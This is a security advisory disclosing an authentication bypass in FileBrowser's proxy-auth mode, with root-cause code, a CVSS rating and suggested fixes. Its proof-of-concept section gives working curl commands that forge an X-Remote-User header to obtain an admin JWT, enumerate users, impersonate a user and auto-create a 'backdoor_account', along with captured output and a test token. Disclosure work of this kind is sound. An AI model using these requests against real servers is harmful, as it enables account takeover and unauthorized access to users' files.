## Summary
When FileBrowser is configured with proxy authentication (`auth.method=proxy`), any unauthenticated attacker who can reach the server directly can impersonate **any user - including admin** - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to **automatically create a new user account**, providing an account creation primitive with no authorization.
**This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.**
## Severity
**HIGH** - CVSS 3.1: **8.1** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
## Affected Component
- **File:** [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28
- **CWE:** [CWE-287](https://cwe.mitre.org/data/definitions/287.html) (Improper Authentication), [CWE-290](https://cwe.mitre.org/data/definitions/290.html) (Authentication Bypass by Spoofing)
- **Affected versions:** All versions supporting `auth.method=proxy`
## Prerequisite: Proxy Auth Must Be Enabled
This vulnerability is **NOT exploitable on default configuration** (`auth.method=json`). It requires the administrator to have configured proxy authentication mode. However, this is a **common production deployment pattern** - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:
- **nginx** + Authelia / Authentik
- **Traefik** + OAuth2 Proxy
- **Caddy** + forward_auth
- **Apache** + mod_auth_ldap
In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., `X-Remote-User`). FileBrowser trusts this header to identify the user.
| Deployment Scenario | Exploitable? |
|---|---|
| Default install (`auth.method=json`) | **No** — JSON auth uses password verification |
| `auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled) | **No** - attacker cannot reach the server directly |
| `auth.method=proxy` + FileBrowser port exposed to network | **Yes - full admin takeover** |
The third scenario is common because:
- Docker containers publish ports to `0.0.0.0` by default (e.g., `-p 8085:80`)
- Administrators expose the port for debugging, monitoring, or health checks
- Cloud deployments may have misconfigured security groups or load balancers
- Internal networks often lack strict micro-segmentation
The core issue is that the **code itself has zero defensive checks** — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.
## Root Cause
The `ProxyAuth.Auth()` function unconditionally trusts the value of an HTTP request header (configured via `auth.header`, e.g. `X-Remote-User`) to determine the authenticated user's identity. There are **three distinct problems** in this code:
### Problem 1: No Origin Validation
The function reads the header from **any** HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.
**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28:**
```go
func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
username := r.Header.Get(a.Header) // <-- reads attacker-controlled header, no origin check
user, err := usr.Get(srv.Root, username)
if errors.Is(err, fberrors.ErrNotExist) {
return a.createUser(usr, setting, srv, username)
}
return user, err // <-- returns the user object, no password verification
}
```
There is no call to verify `r.RemoteAddr` against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.
### Problem 2: No Password Verification
Unlike JSON auth (`auth/json.go`) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The `loginHandler` in `http/auth.go` then mints a valid JWT for this user:
**File: [`http/auth.go`](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go), lines 121-137:**
```go
func loginHandler(tokenExpireTime time.Duration) handleFunc {
return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
auther, err := d.store.Auth.Get(d.settings.AuthMethod)
// ...
user, err := auther.Auth(r, d.store.Users, d.settings, d.server)
// No additional verification — if auther.Auth() returns a user, a JWT is minted
return printToken(w, r, d, user, tokenExpireTime) // <-- signs and returns JWT
}
}
```
### Problem 3: Automatic User Creation
If the username in the header doesn't exist in the database, `createUser()` is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:
**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 30-63:**
```go
func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {
pwd, err := users.RandomPwd(randomPasswordLength)
// ...
user := &users.User{
Username: username, // <-- attacker-controlled
Password: hashedRandomPassword,
LockPassword: true,
}
setting.Defaults.Apply(user) // <-- inherits default permissions (may include execute, create, etc.)
// ...
err = usr.Save(user) // <-- persisted to database
return user, nil
}
```
This auto-creation has no opt-in flag — it is always active when proxy auth is enabled.
### Complete Attack Flow
```
Attacker sends: POST /api/login + Header: X-Remote-User: admin
|
loginHandler() |
|-> d.store.Auth.Get("proxy") |
|-> auther.Auth(r, ...) |
|-> ProxyAuth.Auth() |
|-> r.Header.Get("X-Remote-User") -> "admin" (attacker-controlled)
|-> usr.Get(root, "admin") -> admin user (found in DB)
|-> return user, nil -> no password check
|-> printToken(w, r, d, user, ...) |
|-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})
|-> token.SignedString(key) -> valid admin JWT returned to attacker
```
## Proof of Concept
Here is Log testing using Low Privileges Account attacker, get forbidden
Login as low priv user then get the auth token `"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"`
```
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
-H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
403 Forbidden
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: admin")
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
-H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
{
"signup": false,
"hideLoginButton": true,
"createUserDir": false,
"minimumPasswordLength": 12,
"userHomeBasePath": "/users",
"defaults": {
"scope": ".",
"locale": "en",
"viewMode": "mosaic",
"singleClick": false,
"redirectAfterCopyMove": true,
"sorting": {
"by": "",
"asc": false
},
"perm": {
"admin": false,
"execute": true,
"create": true,
"rename": true,
"modify": true,
"delete": true,
"share": true,
"download": true
},
"commands": [],
"hideDotfiles": false,
"dateFormat": false,
"aceEditorTheme": ""
},
"authMethod": "proxy",
"rules": [],
"branding": {
"name": "",
"disableExternal": false,
"disableUsedPercentage": false,
"files": "",
"theme": "",
"color": ""
},
"tus": {
"chunkSize": 10485760,
"retryCount": 5
},
"shell": [
"/bin/sh",
"-c"
],
"commands": {
"after_copy": [],
"after_delete": [],
"after_rename": [],
"after_save": [],
"after_upload": [],
"before_copy": [],
"before_delete": [],
"before_rename": [],
"before_save": [],
"before_upload": []
}
}
root@LAPTOP-VUMRCEKO:~#
```
<img width="1487" height="757" alt="image" src="https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74" />
### Prerequisites
- FileBrowser with proxy auth enabled:
```bash
filebrowser config set --auth.method=proxy --auth.header=X-Remote-User
```
- Server is reachable directly (not exclusively behind the reverse proxy)
### Step 1: Confirm attacker (non-admin) is blocked
```bash
# Using a legitimate non-admin JWT token:
curl -s http://localhost:8085/api/settings \
-H "X-Auth: <ATTACKER_JWT_TOKEN>"
```
**Result:** `403 Forbidden` — non-admin users cannot access `/api/settings`
### Step 2: Forge admin identity — no credentials needed
```bash
# Just one header, no password:
FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: admin")
echo "$FORGED_TOKEN"
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)
```
**Result:** Valid JWT token returned for admin user (ID: 1, `perm.admin: true`)
### Step 3: Access admin-only endpoints with forged token
```bash
# Read full server configuration (admin-only):
curl -s http://localhost:8085/api/settings \
-H "X-Auth: $FORGED_TOKEN"
```
**Result:** `200 OK` - complete server settings returned:
```json
{
"authMethod": "proxy",
"shell": ["/bin/sh", "-c"],
"signup": false,
"defaults": { "perm": { "admin": false, "execute": true, ... } },
...
}
```
### Step 4: Enumerate all user accounts
```bash
curl -s http://localhost:8085/api/users \
-H "X-Auth: $FORGED_TOKEN"
```
**Result:** All user accounts with full details (usernames, permissions, scopes, commands)
### Step 5: Impersonate any other user
```bash
# Impersonate "testuser" — access their files without knowing their password:
VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: testuser")
curl -s http://localhost:8085/api/resources/ \
-H "X-Auth: $VICTIM_TOKEN"
```
**Result:** Full file listing of testuser's scope
### Step 6: Auto-create a new user account
```bash
# This username doesn't exist — server creates it automatically:
NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
-H "X-Remote-User: backdoor_account")
```
**Result:** New user `backdoor_account` created in the database with default permissions, JWT returned
## Validated Results
Tested against `filebrowser/filebrowser:latest` Docker image on 2026-03-09:
| Test | Result |
|------|--------|
| Attacker token (non-admin) -> `GET /api/settings` | **`403 Forbidden`** (blocked) |
| Forged header `X-Remote-User: admin` -> `POST /api/login` | **`200 OK`** — valid admin JWT (608 bytes) |
| Forged admin token -> `GET /api/settings` | **`200 OK`** — full server config returned |
| Forged admin token -> `GET /api/users` | **`200 OK`** — all user accounts listed |
| Forged header `X-Remote-User: testuser` | **`200 OK`** — testuser JWT, files accessible |
| Forged header `X-Remote-User: nonexistent_user` | **`200 OK`** — new user auto-created, JWT returned |
## Impact
An unauthenticated attacker who can reach the FileBrowser instance directly can:
1. **Full admin takeover** — impersonate the admin user and gain complete control
2. **Read all server settings** — shell configuration, permissions, branding, rules
3. **Enumerate and impersonate all users** — access every user's files without credentials
4. **Create unlimited backdoor accounts** — auto-creation generates persistent accounts
5. **Modify server configuration** — enable command execution, change shell, alter rules
6. **Chain with other vulnerabilities** — gain admin access -> enable shell mode -> achieve RCE
**Attack cost:** Zero credentials. One HTTP header.
## Suggested Remediation
### Fix 1: Add trusted proxy IP validation (recommended)
```go
type ProxyAuth struct {
Header string `json:"header"`
TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
}
func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
// Verify request originates from a trusted reverse proxy
clientIP := realip.FromRequest(r)
if !a.isTrustedProxy(clientIP) {
return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
}
username := r.Header.Get(a.Header)
if username == "" {
return nil, os.ErrPermission
}
user, err := usr.Get(srv.Root, username)
if errors.Is(err, fberrors.ErrNotExist) {
if a.AutoCreateUsers { // Make opt-in
return a.createUser(usr, setting, srv, username)
}
return nil, os.ErrPermission
}
return user, err
}
```
### Fix 2: Make auto-user-creation opt-in
Add a configuration flag `auth.proxy.createUsers` (default: `false`) so administrators must explicitly enable automatic account creation.
### Fix 3: Documentation warning
Clearly document that when using proxy auth:
- FileBrowser **MUST NOT** be directly accessible from untrusted networks
- Bind to `127.0.0.1` or use firewall rules to ensure only the reverse proxy can reach it
- The reverse proxy **MUST** strip/overwrite the configured header from client requests
## References
- **Source file:** https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go
- **Login handler:** https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137
- **CWE-287:** https://cwe.mitre.org/data/definitions/287.html
- **CWE-290:** https://cwe.mitre.org/data/definitions/290.html
- **OWASP Authentication Cheat Sheet:** https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html